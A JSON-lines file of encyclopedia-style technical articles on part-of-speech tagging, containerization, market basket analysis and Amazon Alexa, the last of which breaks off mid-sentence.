{"text":"# Part-of-Speech Tagging\n\n## Summary\n\n\nIn the processing of natural languages, each word in a sentence is tagged with its part of speech. These tags then become useful for higher-level applications. Common parts of speech in English are noun, verb, adjective, adverb, etc. \n\nThe main problem with POS tagging is **ambiguity**. In English, many common words have multiple meanings and therefore multiple POS. The job of a POS tagger is to resolve this ambiguity accurately based on the context of use. For example, the word \"shot\" can be a noun or a verb. When used as a verb, it could be in past tense or past participle. \n\nPOS taggers started with a linguistic approach but later migrated towards a statistical approach. State-of-the-art models achieve accuracy better than 97%. POS tagging research done with English text corpus has been adapted to many other languages.\n\n## Discussion\n\n### Could you give an overview of POS tagging?\n\nA POS tagger takes in a phrase or sentence and assigns the most probable part-of-speech tag to each word. In practice, input is often pre-processed. One common pre-processing task is to tokenize the input so that the tagger sees a sequence of words and punctuations.  Other tasks such as stop word removals, punctuation removals and lemmatization may be done before tagging. \n\nThe set of predefined tags is called the **tagset**. This is essential information that the tagger must be given. Example tags are NNS for a plural noun, VBD for a past tense verb, or JJ for an adjective. A tagset can also include punctuations. \n\nRather than design our own tagset, the common practice is to use well-known tagsets: 87-tag Brown tagset, 45-tag Penn Treebank tagset, 61-tag C5 tagset, or 146-tag C7 tagset. In the architecture diagram, we have shown the 45-tag Penn Treebank tagset. Sketch Engine is a place to download tagsets.\n\n\n### What's the relevance of POS tagging for NLP?\n\nPOS tagging is a basic task in NLP. It's an essential pre-processing task before doing syntactic parsing or semantic analysis. It benefits many NLP applications including information retrieval, information extraction, text-to-speech systems, corpus linguistics, named entity recognition, question answering, word sense disambiguation, and more.\n\nIf a POS tagger gives poor accuracy, this has an adverse effect on other tasks that follow. This is commonly called **downstream error propagation**. To improve accuracy, some researchers have proposed combining POS tagging with other processing. For example, joint POS tagging and dependency parsing is an approach to improve accuracy compared to independent modelling. \n\n\n### What are the sources of information for performing POS tagging?\n\nSometimes a word on its own can give useful clues. For example, 'the' is a determiner. Prefix 'un-' suggests an adjective, such as 'unfathomable'. Suffix '-ly' suggests adverb, such as 'importantly'. Capitalization can suggest proper noun, such as, 'Meridian'. Word shapes are also useful, such as '35-year' that's an adjective. \n\nA word can be tagged based on the neighbouring words and the possible tags that those words can have. Word probabilities also play a part in selecting the right tag to resolve ambiguity. For example, 'man' is rarely used as a verb and mostly used as a noun. \n\nIn a statistical approach, we can count tag frequencies of words in a tagged corpus and then assign the most probable tag. This is called **unigram tagging**. A much better approach is **bigram tagging**. This counts the tag frequency given a particular preceding tag. Thus, a tag is seen to have dependence on previous tag. We can generalize this to **n-gram tagging**. In fact, it's common to model a sequence of words and estimate the sequence of tags. This is done by the **Hidden Markov Model (HMM)**. \n\n\n### Which are the main types of POS taggers?\n\nWe note the following types of POS taggers: \n\n    + **Rule-Based**: A dictionary is constructed with possible tags for each word. Rules guide the tagger to disambiguate. Rules are either hand-crafted, learned or both. An example rule might say, \"If an ambiguous/unknown word X is preceded by a determiner and followed by a noun, tag it as an adjective.\"\n    + **Statistical**: A text corpus is used to derive useful probabilities. Given a sequence of words, the most probable sequence of tags is selected. These are also called stochastic or probabilistic taggers. Among the common models are n-gram model, Hidden Markov Model (HMM) and Maximum Entropy Model (MEM).\n    + **Memory-Based**: A set of cases is stored in memory, each case containing a word, its context and suitable tag. A new sentence is tagged based on best match from cases stored in memory. It's a combination of rule-based and stochastic method.\n    + **Transformation-Based**: Rules are automatically induced from data. Thus, it's a combination of rule-based and stochastic methods. Tagging is done using broad rules and then improved or transformed by applying narrower rules.\n    + **Neural Net**: RNN and Bidirectional LSTM are two examples of neural network architectures for POS tagging.\n\n### In machine learning terminology, is POS tagging supervised or unsupervised?\n\nPOS taggers can be either supervised or unsupervised. **Supervised** taggers rely on a tagged corpus to create a dictionary, rules or tag sequence probabilities. They perform best when trained and applied on the same genre of text. **Unsupervised** taggers induce word groupings. This saves the effort of pre-tagging a corpus but word clusters are often coarse. \n\nA combination of both approaches is also common. For example, rules are automatically induced from an untagged corpus. The output from this is corrected by humans and resubmitted to the tagger. The tagger looks at the corrections and adjusts the rules. Many iterations of this process may be necessary. \n\nIn 2016, it was noted that a completely unsupervised approach is not yet mature. Instead, weakly supervised approaches are adopted by aligning text, using translation probabilities (for machine translation) or transferring knowledge from resource-rich languages. Even a small amount of tagged corpus can be generalized to give better results. \n\n\n### In HMM, given a word sequence, how do we determine the equivalent POS tag sequence?\n\nWe call this the **decoding problem**. We can observe the word sequence but the sequence of tags is hidden. We're required to find out the most probable tag sequence given the word sequence. In other words, we wish to maximize \\(P(t^{n}|w^{n})\\) for an n-word sequence. \n\nAn important insight is that parts of speech (and not words) give language its structure. Thus, using Bayes' Rule, we recast the problem to the following form, \\(P(t^{n}|w^{n})=P(w^{n}|t^{n})\\,P(t^{n})/P(w^{n})\\). \\(P(w^{n}|t^{n})\\) is called **likelihood**. \\(P(t^{n})\\) is called **prior probability**. \n\nSince we're maximizing over all tag sequences, the denominator can be ignored. We also make two assumptions: each word depends only on its own tag, and each tag depends only on its previous tag. We therefore need to maximize \\(\\prod\\_{i=1}^{n}P(w\\_i^{n}|t\\_i^{n})\\,P(t\\_i|t\\_{i-1})\\). In HMM, the terms are called **emission** probabilities and **transition** probabilities. \n\nThese probabilities are estimated from the tagged text corpus. The standard solution is to apply **Viterbi algorithm**, which is a form of dynamic programming. In the example figure, we see two non-zero paths and we select the more probable one. \n\n\n### What are some practical techniques for POS tagging?\n\nIn any supervised statistical approach, it's recommended to divide your corpus into training set, development set (for tuning parameters) and testing set. An alternative is to use the entire corpus for training but do **cross-validation**. Moreover, if the corpus is too general the probabilities may not suit a particular domain; if it's too narrow, it may not generalize well across domains. To analyse where your model is failing, you can use confusion matrix or contingency table. \n\nWhen **unknown words** are seen, one approach is to assign a suffix and calculate the probability that the suffixed word with a particular tag occurs in a sequence. Another approach is to assign a set of default tags and calculate the probabilities. Or we could look at the word's internal structure, such as assigning NNS for words ending in 's'. \n\nTo deal with sparse data (probabilities are zero), there are **smoothing** techniques. A naïve technique is to add a small frequency count, say 1, to all counts. The Good-Turing method along with Katz's backoff is a better technique. Linear interpolation is another technique. \n\n\n### How have researchers adapted standard POS tagging methods for custom applications?\n\nLearner English is English as a foreign language. Such text often contain spelling and orthographic errors. The use of neural networks, **Bidirectional LSTM** in particular, is found to give better accuracy than standard POS taggers. Word embeddings, character embeddings and native language vectors are used. \n\nHistorical English also present tagging challenges due to differences in spelling, usage and vocabulary. A combination of **spelling normalization** and a **domain adaptation** method such as feature embedding gives better results. Other approaches to historical text include neural nets, conditional random fields and self-learning techniques. \n\nTechniques have been invented to tag Twitter data that's often sparse and noisy. In mathematics, POS taggers have been adapted to handle formulae and extract key phrases in mathematical publications. For clinical text, tagged corpus for that genre is used. However, it was found that it's better to share annotations across corpora than simply share a pretrained model. \n\n\n### Could you describe some tools for doing POS tagging?\n\nIn Python, nltk.tag package implements many types of taggers. pattern is a web mining module that includes ability to do POS tagging. Unfortunately it lacks Python 3 support. It's also available in R as pattern.nlp. TextBlob is inspired by both NLTK and Pattern. spaCy is another useful package.\n\nImplemented in TensorFlow, SyntaxNet is based on neural networks. Parsey McParseface is a parser for English and gives good accuracy. \n\nParts-of-speech.info is an online tool for trying out POS tagging for any text input. Useful open source tools are Apache OpenNLP, Orange and UDPipe.\n\nSamet Çetin shows how to implement your own custom tagger using a logistic regression model. There's also a commercial tool from Bitext.\n\nDatacube at the Vienna University of Economics and Business is a place to download text corpora, and taggers (OpenNLP or Stanford) implemented in R. Stanford tagger is said to be slow. Treetagger is limited to non-commercial use. Another R package is RDRPOS tagger. A Java implementation of a log-linear tagger from Stanford is available.\n\n## Milestones\n\n1963\n\nKlein and Simmons describe a rule-based method with a focus towards initial categorical tagging rather than part-of-speech disambiguation. They identify 30 categories and achieve 90% accuracy, which may be because fewer categories implies less ambiguity. \n\n1964\n\nW. Nelson Francis and Henry Kučera at the Department of Linguistics, Brown University, publish a computer-readable general corpus to aid linguistic research on modern English. The corpus has 1 million words (500 samples of about 2000 words each). Revised editions appear later in 1971 and 1979. Called **Brown Corpus**, it inspires many other text corpora. Brown Corpus is available online.\n\n1971\n\nGreene and Rubin develop the **TAGGIT** system to tag the Brown Corpus from a set of 86 tags. It uses rules for tagging and obtains 77% accuracy. Human experts then do post-editing. \n\n1976\n\nIn one of the earliest departures from rule-based method to statistical method, Bahl and Mercer apply **HMM** to the problem of POS tagging and use Viterbi algorithm for decoding. In 1992, a research team at Xerox led by Doug Cutting apply HMM in two ways: they apply the Baum-Welch algorithm to obtain the maximum likelihood estimate of the model parameters; next they apply Viterbi algorithm to decode a sequence of tags given a sequence of words. \n\n1983\n\nThe **CLAWS** algorithm uses the **co-locational probabilities**, that is, likelihood of co-occurrence of ordered pairs of tags. These probabilities are estimated from the tagged Brown Corpus. Steven J. DeRose improves on this work in 1988 with the **VOLSUNGA** algorithm that's more efficient and achieves 96% accuracy. CLAWS and VOLSUNGA are N-gram taggers. By late 1980s, statistical approaches become popular. Rather than build complex and brittle hand-coded rules, statistical models learn these rules from text corpora. \n\n1992\n\nStarted in 1989 at the University of Pennsylvania, the **Penn Treebank** is released in 1992. It's an annotated text corpus of 4.5 million words of American English. The corpus is POS tagged. Over half of it is also annotated with syntactic structure. **Treebank II** is released in 1995. The original release had 48 tags. Treebank II merges some punctuation tags and results in a 45-tag tagset. Apart from POS tags, the corpus includes chunk tags, relation tags and anchor tags. \n\n1992\n\nAt a time when stochastic taggers are performing better than rule-based taggers, Eric Brill proposes a rule-based tagger that performs as well as stochastic taggers. It works by assigning the most likely estimates from a corpus but without any contextual information. It then improves on the estimate by applying patching rules, which are also learned from the corpus. One test shows 5.1% error rate with only 71 patches. This method is later named **Transformation-Based Learning (TBL)**. \n\n1994\n\nCalled Net-Tagger, Helmut Schmid uses a **Multi-Layer Perceptron (MLP)** network to solve the POS tagging problem. He notes that neural networks were used previously for speech recognition. Though Nakamura et al. (1990) used a 4-layer feed-forward network for tag prediction, Net-Tagger is about tag disambiguation rather than prediction. Accuracy of 96.22% is achieved with a 2-layer model. \n\n1996\n\n**Maximum Entropy Model** was previously used for problems such as language modelling and machine translation. A. Ratnaparkhi applies the model to POS tagging and achieves state-of-the-art word accuracy of 96.6%; and 85.6% for unknown words. OpenNLP POS tagger uses such a model. \n\n2011\n\nChristopher Manning, NLP researcher at Stanford University, comments that POS tagging has reached 97.3% token accuracy and 56% sentence accuracy. Further gains in accuracy might be possible with improved descriptive linguistics. He also argues that accuracy of 97% claimed to be achieved by humans might be an overestimate. Thus, automatic taggers are already surpassing humans. \n\n2018\n\nSince 2015, many neural network based POS taggers have shown better than 97% accuracy. In 2018, **Meta-BiLSTM** achieves an accuracy of 97.96%.","meta":{"title":"Part-of-Speech Tagging","href":"part-of-speech-tagging"}}
{"text":"# Containerization\n\n## Summary\n\n\nContainerization is a technique that allows software to run reliably regardless of the computing environment. By encapsulating software within isolated environments called **containers**, we can more reliably port software across operating systems and hardware infrastructures. \n\nLet's say, most of the development or testing is done on a developer's laptop. The software may work as expected on the laptop but when deployed on the server the software fails. This could be because the server is using different versions of libraries, has a different configuration or interfaces differently to other components of the system. Containerization solves this problem by providing a consistent and isolated runtime environment regardless of the underlying OS or hardware infrastructure. \n\nFor developers, what this means is that we're no longer deploying just the application software but deploying **container images** that contain the app along with its dependencies.\n\n## Discussion\n\n### What's a container and what's in it?\n\nContainers consists of the runtime environment: an application, dependencies, libraries, binaries, and configuration files needed to run an application, bundled into one package. By containerizing the application platform and its dependencies, differences in OS distributions and underlying infrastructure are abstracted. \n\nEssentially, a container includes the application and all of its dependencies. It shares the OS kernel with other containers. It's not tied to a specific infrastructure: it only needs Docker Engine (or equivalent) installed on host. Thus, containers isolate the application process in user space on the host OS from other application processes. \n\n\n### What are the benefits of containers?\n\nA survey commissioned by Red Hat in 2015 showed that containers are seen to bring better security, efficiency, portability, flexibility and speed. More specifically, we can identify the following benefits: \n\n*Benefits to Applications* \n\n    + Portable\n    + Packaged in a standard way\n    + Automated testing, packaging and integrations\n    + Support newer microservices architectures\n    + Alleviate platform compatibility issues*Benefits to Deployment* \n\n    + Easy\n    + Repeatable\n    + Reliable deployments: improved speed and frequency of deployments\n    + Consistent application lifecycle: configure once and run multiple times\n    + Consistent environments: no more process differences between local, dev and staging environments\n    + Simple scaling: Fast deployments ease the addition of workers and permit workload to grow and shrink for on-demand use cases\n\n### How is Virtualization different from Containerization?\n\nWith virtualization technology, the package that can be passed around is a **Virtual Machine (VM)**. It includes an OS as well as the application. A server running three VMs would have a hypervisor and three separate operating systems running on top of it. By contrast, a server running three containerized applications runs on top of a single OS, all containers sharing the same OS kernel. Shared parts of the operating system are read only, while each container has its own mount (i.e., a way to access the container) and volumes for reading from and writing to the file system. This means that the containers are much more lightweight and use far fewer resources than virtual machines. \n\nContainerization has been called an **operating system level virtualization**, an operating system feature in which the OS kernel allows the existence of multiple isolated user-space instances. Instances are created from images that we can build and share. Instances created from images are called containers, partitions, virtualization engines or jails (FreeBSD). Applications running inside a container can only see the container's contents and devices assigned to the container. \n\n\n### What's the typical size of a container?\n\nContainers can only be tens of megabytes in size. For example, the Docker Alpine image is about 4 MB. For comparison, Fedora version 25 is about 231 MB. A virtual machine with its entire OS may be several gigabytes in size. For this reason, a single server can host far more containers than virtual machines.\n\nVirtual machines may take several minutes to boot up their operating systems and start running the applications they host. However, containerized applications can be started almost instantly. This also means that containers can be created as needed and destroyed quickly, thereby using resources efficiently. \n\n\n### What are some types of containers?\n\nThe common use case is to separately run applications within **Application Containers**. Code that developers create run within these containers, which greatly simplify the deployment of apps. Docker and OCI-based containers are examples. \n\nAnother use case of containers is to provide a virtual operating system. What if we wish to deploy Ubuntu, CentOS and RHEL on top of a common host OS? This is where **Operating System Containers** can be used. LXC and LXD are examples. It's interesting that Docker and OCI-based containers can partly achieve this functionality by running `systemd`. \n\nSuppose you're building a specialized app. You want the flexibility to customize your app but at the same time benefit from the automation and tooling of the container ecosystem. You can use **Pet Containers**. \n\nAdministrators can benefit from **Super Privileged Containers (SPC)** for kernel module loading, monitoring, backups, etc. SPCs usually have a tighter coupling with the host kernel. \n\n\n### Could you describe specific examples of container usage?\n\nLet's take the example of a web application using Nginx as the load balancer, Node.js for the app and Postgres for database. Traditionally, all of these would be deployed on a single machine. These can't be deployed, scaled or managed independently. Instead, if we adopt a three-tiered architecture, each one is delivered as a separate application container image. Each one can be deployed independently, on different machines if needed. \n\nPerhaps we what to run our app within a specific OS. In this case, we can use an OS container image of that OS, install the necessary dependencies and bring up the app within the container in a consistent manner. \n\nApplication containers are used in smartphones. Nexus One uses LXC on the Android kernel. McAfee provides a Secure Container for Android. Apple iPhones use containers to compartmentalize applications and their data. \n\n\n### Which are the technical enablers for implementing containers?\n\n**Linux Containers (LXC)** is a modern method of virtualizing an application. LXC leverages *cgroups* to isolate the CPU, memory, file/block I/O and network resources. LXC also uses *kernel namespaces* to isolate the application from the operating system and separates the process trees, network access, user IDs, and file access. LXC is considered a technique that falls between chroot and VM. In version 1.0 of LXC, unprivileged containers are more secure because they run as regular unprivileged users. \n\nTo enable containers to start quickly, the container image is not copied but shared. A copy is made only when data is modified. This is called the **Copy-on-Write (CoW)** mechanism. File-level CoW is easier to backup, more space efficient and simpler to cache than block-level CoW on whole-system virtualizers. \n\n\n### What are some essential terms to know in relation to containers?\n\nA container is specified by one or more files called **Container Image**. Often, a hierarchy of image layers, tagged and stored with metadata, together form what's called a **Repository**. Some use the two terms interchangeably. \n\nA container image is stored on a **Registry Server**, whose location is known to anyone wishing to pull and use the image. The system on which a container runs is called **Container Host**. Running containers are also called **Containerized Processes** because ultimately they're nothing but processes. \n\nThus, a container starts as an image at rest and ends up as a process during execution. The job of processing user requests, pulling images from the registry and initiating execution of the container is done by the **Container Engine**. The engine itself doesn't execute containers. This is done by the **Container Runtime**, which gets the image mount point and metadata from the engine, communicates with the kernel, and sets up relevant permissions. \n\nSince a registry may have lots of repositories, **Namespaces** help in logically separating them. These can be names of persons, organizations, products, etc. These should not be confused with kernel namespaces. \n\n\n### Could you name some container implementations?\n\n**Docker** is the most popular one. Others include Linux OpenVZ, Linux-VServer, FreeBSD Jails, AIX Workload Partitions (WPARs), HP-UX Containers (SRP), and Solaris Containers. Docker offers a complete container ecosystem including image management, deployment assistance, automation, API for building Platform as a Service (PaaS), and more. \n\nThe Open Container Initiative (OCI) has standardized container runtime. Its reference implementation is called **runc**. This is used by Docker, CRI-O and others. Docker previously used LXC as the runtime. Then it created its own runtime called libcontainer, which eventually became runc. Other OCI-compliant runtimes include crun, railcar, and katacontainers. \n\nAmong the different container engines are Docker, RKT, CRI-O, and LXD. In addition, cloud providers may provide their own built-in container engines. For interoperability, many engines accept Docker or OCI-compliant images. \n\n\n### Which Linux distributions are suitable for use as a container host?\n\nMost Linux distributions are unnecessarily feature-heavy if their intended use is simply to act as a container host to run containers. For that reason, a number of Linux distributions have been designed specifically for running containers. Here are some examples: \n\n    + Container Linux — formerly called CoreOS Linux, it's one of the first lightweight container operating systems built for containers.\n    + RancherOS — a simplified Linux distribution built from containers, specifically for running containers.\n    + Photon OS — a minimal Linux container host, optimized to run on VMware platforms.\n    + Project Atomic Host — Red Hat's lightweight container OS has versions that are based on CentOS and Fedora, and there's also a downstream enterprise version in Red Hat Enterprise Linux.\n    + Ubuntu Core — the smallest Ubuntu version, Ubuntu Core is designed as a host operating system for IoT devices and large-scale cloud container deployments.\n    + Alpine Linux — is a very tiny Linux distribution focused on security.\n\n\n## Milestones\n\n1979\n\nDuring the development of Unix V7 in 1979, the *chroot* system call is introduced, changing the root directory of a process and its children to a new location in the filesystem. In BSD Unix, this feature is introduced in 1982. \n\n2000\n\nFreeBSD Jails allow administrators to partition a FreeBSD computer system into several independent, smaller systems called *jails*, with the ability to assign an IP address for each system and configuration. In 2001, something similar is done by Linux VServer to partition resources (file systems, network addresses, memory) on a computer system. \n\n2004\n\nOracle releases a Solaris Container called Solaris Zones that combines system resource controls and boundary separation provided by *zones*, which are able to leverage features like snapshots and cloning from ZFS. \n\n2005\n\nOpenVZ is an operating system-level virtualization technology for Linux that uses a patched Linux kernel for virtualization, isolation, resource management and checkpointing. Back then, the code is not released as part of the official Linux kernel. \n\n2006\n\nProcess Containers is launched by Google. It's designed for limiting, accounting and isolating resource usage (CPU, memory, disk I/O, network) of a collection of processes. It's renamed **Control Groups (cgroups)** a year later and eventually merged to Linux kernel 2.6.24. \n\n2008\n\nLXC (LinuX Containers) is the first, most complete implementation of Linux container manager. It's implemented using cgroups and Linux namespaces. It works on a single Linux kernel without requiring any patches. \n\n2013\n\nLet Me Contain That For You (LMCTFY) is started as an open-source version of Google's container stack, providing Linux application containers. Applications can be made \"container aware,\" creating and managing their own subcontainers. Active deployment in LMCTFY stopped in 2015 after Google started contributing core LMCTFY concepts to *libcontainer*, which is now part of the Open Container Foundation. \n\n2013\n\nDocker is released and containers explode in popularity. Docker uses LXC in its initial stages and later replaces that container manager with its own library, *libcontainer*. Later, Docker separates itself from the pack by offering an entire ecosystem for container management.","meta":{"title":"Containerization","href":"containerization"}}
{"text":"# Market Basket Analysis\n\n## Summary\n\n\nMarket basket analysis is a data mining technique, generally used in the retail industry in an effort to understand purchasing behaviour. It looks for combinations of items that frequently occur in the same transaction. In other words, it gives insights into items that may have some association or affinity. \n\nFor example, customers purchasing flour and sugar are also likely to buy eggs. The outcome of the analysis is to derive a set of rules that can be understood as \"if this, then that\". Retailers can use these insights to do product placements or offer discounts.\n\nIn fact, market basket analysis is being applied outside retail. Therefore, it's more generally called **Affinity Analysis**.\n\n## Discussion\n\n### Could you give examples of market basket analysis?\n\nMarket basket analysis uncovers associations between products by looking for combinations of products that frequently co-occur in transactions. Thus, supermarkets can identify relationships between products that people buy. \n\nFor example, customers who buy a pencil and paper are likely to buy an eraser or ruler. A customer in an English pub buying a pint of beer without a bar meal is more likely to buy crisps/chips than somebody who didn't buy beer. Someone who buys shampoo is likely to buy conditioner. Retailers can use this information to modify the store layout or offer discount on shampoo but not on conditioner. \n\nOnline retails such as Amazon make product purchase recommendations. If you add any item to your cart, Amazon will recommended other items that other customers often bought together with your selected item. \n\n\n### What are the applications of market basket analysis?\n\nWithin retail, market basket analysis helps determine purchasing behaviour, build recommendation engines, customize loyalty programs, cross-sell, up-sell, place products in stores in the right places, offer right combinations of discounts, and so on.  \n\nBeyond retail, affinity analysis has been used on medical data. Does high BMI and smoking lead to greater chance of high blood pressure? Affinity analysis answers such questions. \n\nIn web browsing, it enables click stream analysis. For example, given the last two clicks, how likely is the user to click a specific link? It can be used to detect intrusions. \n\nIn banking, credit card purchases are analysed to detect frauds and cross-sell. In insurance, user profiles formed via market basket analysis can be used to flag fraudulent claims. In telecom, market basket analysis can suggest the right bundle of services to retain customers or analyse calling patterns. \n\n\n### What's the typical data pipeline for market basket analysis?\n\nData for market basket analysis typically comes from point-of-sale (POS) transaction data or invoices. These usually include list of products purchased, unit price and quantity of each item. To be statistically significant, the dataset must be large. One analyst reported a dataset of 32 million records of 50K unique items. \n\nThe next step is to look for combinations of items that occur most often together within a transaction. The selection of the right algorithm is important here. Otherwise, we will end up with too many combinations of items (perhaps in millions) that may be computationally difficult to analyse. \n\nOnce frequently occurring item combinations are identified, we next look for associations. This step is often called **Association Rule Mining**. \n\nThe last step is to pick out strong association rules, seek explanations as to why such associations exists and drive business decisions. The usefulness or \"interestingness\" of a rule is application dependent. \n\n\n### Could you give more details on Association Rule Mining?\n\nAssociation Rule Mining counts the frequency of items that occur together across a large collection of items or actions. The goal is to find associations that take place together far more often than you would find in a random sampling of possibilities. \n\nOutput of above will be a set of association rules in the following form: `IF {item 1, item 2} THEN {item 3}`. This states that when items 1 and 2 are purchased, then item 3 is likely to be purchased with a certain probability. The first part of the rule is called **antecedent**. The second part is called **consequent**.\n\nFor example, a customer who buys pencil and paper (antecedent) is likely to buy an eraser (consequent). But how likely is such a customer to buy an eraser? To quantify this, we have a few measures: support, confidence, and lift. These tell us how important or reliable is an association rule.\n\n\n### Could you explain the terms Support, Confidence and Lift?\n\nThese are common quantitative measures to identify most important association rules: \n\n    + **Support**: Given all transactions, support is the percentage of transactions that contain a given item combination. Often combination that fall below a support threshold are ignored in further analysis. When dataset has thousands of items and millions of transactions, a threshold of 0.01% is reasonable.\n    + **Confidence**: Given item A is purchased, what's the chance that customer will buy item C? This question is answered by the confidence measure. Thus, rather than looking at just probability of purchasing item C (which support does), confidence looks at conditional probability.\n    + **Lift**: Suppose data shows that items A and C are occurring together in many transactions. Do A and C have an association or are they occurring together purely by chance? This question is answered by the lift measure.Association rules must satisfy both minimum support and minimum confidence values. To filter the results further to a smaller list, lift is a popular measure. \n\n\n### Could you give example calculations of Support, Confidence and Lift?\n\nFor example, given a million transactions, 24K transactions contain {flour,sugar}; 30K transactions contain {eggs}; 20K transactions contain both {flour,sugar} and {eggs}. Thus, \n\n    + Support({flour,sugar}) = 24K / 1M = 0.024\n    + Support(eggs) = 30K / 1M = 0.03\n    + Support({flour,sugar}, eggs) = 20K / 1M = 0.02\n    + Confidence({flour,sugar}->eggs) = Support({flour,sugar}, eggs) / Support({flour,sugar}) = 0.02 / 0.024 = 0.83\n    + Confidence(eggs->{flour,sugar}) = Support({flour,sugar}, eggs) / Support(eggs) = 0.02 / 0.03 = 0.66\n    + Lift({flour,sugar}, eggs) = Support({flour,sugar}, eggs) / (Support({flour,sugar})\\*Support(eggs)) = 0.02 / (0.024\\*0.03) = 27.8Note that Confidence is directional but Lift is not. In the above example, a purchase of {flour,sugar} drives purchase of eggs more strongly than eggs driving purchase of {flour,eggs}.\n\nA lift value of 1 implies there's no association. A value more than 1 implies a positive association. In our example, the denominator value (0.024\\*0.03) = 0.00072 = 0.072% is how often both items would occur together if they had no relationship. Lift is giving us a measure of association relative to being random. \n\n\n### What are the tools or packages available to do market basket analysis?\n\nR language has the **arules** package for association rule mining. This includes C implementations of Apriori and Eclat algorithms. The **arulesViz** package has useful visualizations that can help in exploratory analysis. It includes visualizations of support, confidence and lift. \n\n**KNIME** offers a tool for market basket analysis. It provides a graphical block-diagram-based interface that can be ideal for non-programmers. It offers the Apriori algorithm in traditional as well as the more optimized Borgelt implementation. \n\nIn Python, we can use the **MLxtend** package. Christian Borgelt has also released a C implementation that can be compiled for the Python environment. He calls this **PyFIM**, where FIM stands for Frequency Itemset Mining. \n\n## Milestones\n\n1980\n\nThis decade sees progress in barcode technology that becomes widely used in the retail industry. It therefore becomes easy to collect vast amounts of purchasing data. This leads to what can be called information-driven marketing. \n\n1991\n\nPiatetsky-Shapiro analyzes and presents strong rules discovered in databases using different measures of interestingness. \n\n1992\n\nMarket basket analysis of 1.2 million market baskets from 25 Osco Drug stores brings out an unexpected association between diapers and beer. Subsequently, this example becomes commonly used in data mining literature. In reality, the managers at Osco did not exploit this \"interesting\" (and not significant) association but they became aware of what's possible with market basket analysis. \n\n1993\n\nBased on the concept of strong rules, Agrawal, Imielinski, and Swami introduce the problem of mining association rules from transaction data. The term **association rules** can be attributed to Agrawal and team. They also propose an algorithm for discovering these rules. \n\n1994\n\nRakesh Agrawal and Ramakrishnan Srikant publish the **Apriori algorithm**. This outperforms earlier algorithms, particularly when datasets are large. At the IEEE International Conference on Data Mining (ICDM) in December 2006, this is identified as one of the ten most important algorithms in the field of data mining. Apriori uses support and confidence but not lift. Lift is something we use as a final step. \n\n2003\n\nChristian Borgelt provides C implementation of the Apriori algorithm. \n\nDec  \n2018\n\nIn R language, for association rule mining, version 1.6 of **arules** package is published on CRAN.","meta":{"title":"Market Basket Analysis","href":"market-basket-analysis"}}
{"text":"# Amazon Alexa\n\n## Summary\n\n\nAmazon Alexa is cloud-based voice service to bring natural voice experiences to users. It can seen as a virtual assistant with the capability to interact with users using voice rather than traditional computer interfaces of keyboard, mouse or monitor.\n\nInitially, Alexa was released as the backend support service for Amazon's Echo device, a voice-activated connected speaker. Since then, Alexa has become smarter. It's been interfaced to a number of products beyond Amazon's Echo series of devices. It's moved from being just a smart speaker to central controller of your smart home.\n\n## Discussion\n\n### What are typical uses of Amazon Alexa?\n\nWhen Amazon Echo was released in 2014, Alexa could answer basic questions, add items to a shopping cart or play your favourite music album. Today, developers can add new capabilities to Alexa. Capabilities exist for managing chores, telling stories, quizzing, and gaming. \n\nAlexa can integrate with web services for ordering something, getting information, etc. It can control or query smart devices connected to the cloud. For example, you can ask to see the feed from a remote camera or dim the lights. In fact, Alexa's importance in the smart home is set to grow as it aims to handle complete home automation. \n\nIn terms of some specific examples, Xbox One console will soon support Alexa so that gamers can issue voice commands. A number of lighting solutions can be controlled via Alexa: Philips Hue LED, Lifx, TP-Link, Osram, Stack LED. In healthcare space, Alexa has been used to get information on drug side-effects, medication schedule or gather patient survey. \n\n\n### As a developer, what can I build with Alexa?\n\nWith Alexa, three things are possible: \n\n    + Develop capabilities to Alexa for new use cases. These capabilities are called *skills*. **Alexa Skills Kit (ASK)** is a set of APIs, tools and documentation to help you develop skills.\n    + If you wish to create a hands-free voice interface in your own products, use the **Alexa Voice Service (AVS)**. Your products can then leverage Alexa's features. A simple example is to make your Raspberry Pi work with Alexa as explained in a detailed tutorial.\n    + Let your customers control their connected devices in smart homes and other gadgets. Devices can reach Alexa via the Internet or via a local hub. Developers need to use **Smart Home Skill API** and **Gadgets API**.\n\n### What are the languages supported by Alexa?\n\nAs of August 2018, Alexa's skills can support English, French, German, Italian, Japanese and Spanish. A device (such as Echo) when set to a particular language can access any skill available in that language. As a developer, you can publish your skill in multiple languages to target a wider user base. \n\nFrom a programming perspective, if the business logic of your skill is deployed on AWS Lambda, then any programming language that Lambda supports can be used: Node.js, Java, Python, or C#. Or you can deploy it as a web service on any cloud infrastructure. This means that you can code in any language, though the data is JSON via REST. \n\n\n### What's the architecture of Alexa?\n\nAlexa resides in the cloud. Access is via the Alexa Voice Service API. Alexa receives requests as speech streams. Alexa analyzes the speech and identifies the requested skill. A structured representation of the skill and intent is created. \n\nNow there are two possible paths. If the skill code is deployed in AWS Lambda, that service will be triggered within AWS. If it's a web service accessed via HTTPS then the REST API call is made. In either case, Alexa will receive the response as text. Optionally, the response may have images. Alexa will convert the text into speech, which gets streamed to the user via their current device. Images will be served where the device has a display. \n\nA skill is identified by an *invocation name* and mapped to a backend service. A skill can be designed to do multiple things, each of which is called an *intent*. Each intent can be identified by one or more words or phrases, each of which is called an *utterance*. For example, you may create a travel-related skill that has three intents: rent a car, book a flight, or book a hotel.\n\n\n### Could you define some Alexa-specific terminology?\n\nHere are a few essential terms and more are available in the Alexa Skills Kit Glossary: \n\n    + **Skills**: A capability of Alexa. Alexa comes with built-in skills, such as playing music. Developers can also build new skills.\n    + **Intents**: The main request or action associated with the user's command for a custom skill.\n    + **Slots**: Arguments to an intent that provide Alexa more information. These can be required or optional.\n    + **Utterances**: Words users say to convey what they want Alexa to do or in response to a question.\n    + **Interaction Model**: The words and phrases users can say to make a skill do what they want. It determines the requests the skill can handle and the words users say to invoke those requests.\n    + **Invocation**: The act of beginning an interaction with a particular Alexa ability.\n    + **Wake word**: A word that \"wakes up\" Alexa for a task. Typically, this word is \"Alexa\".\n    + **Cards**: Elements displayed in a visual interface to describe or enhance voice interaction.\n\n### What technologies power Alexa under the hood?\n\nTwo fundamental technologies required to make Alexa work are speech-to-text and text-to-speech conversions. To make these work reliably, Alexa employs deep learning algorithms. More specifically, we have two technologies, both of which were opened for developers in November 2016: \n\n    + **Amazon Lex**: This does the speech-to-text conversion using techniques of *Automatic Speech Recognition* and *Natural Language Understanding*. It can be used independently of Alexa to build conversational interfaces (such as chatbots) using a mix of voice and text.\n    + **Amazon Polly**: This does the text-to-speech conversion by synthesizing speech in various languages and accents. In May 2018, Alexa developers got access to eight different voices from Amazon Polly. In fact, we can use *Speech Synthesis Markup Language (SSML)* to generate 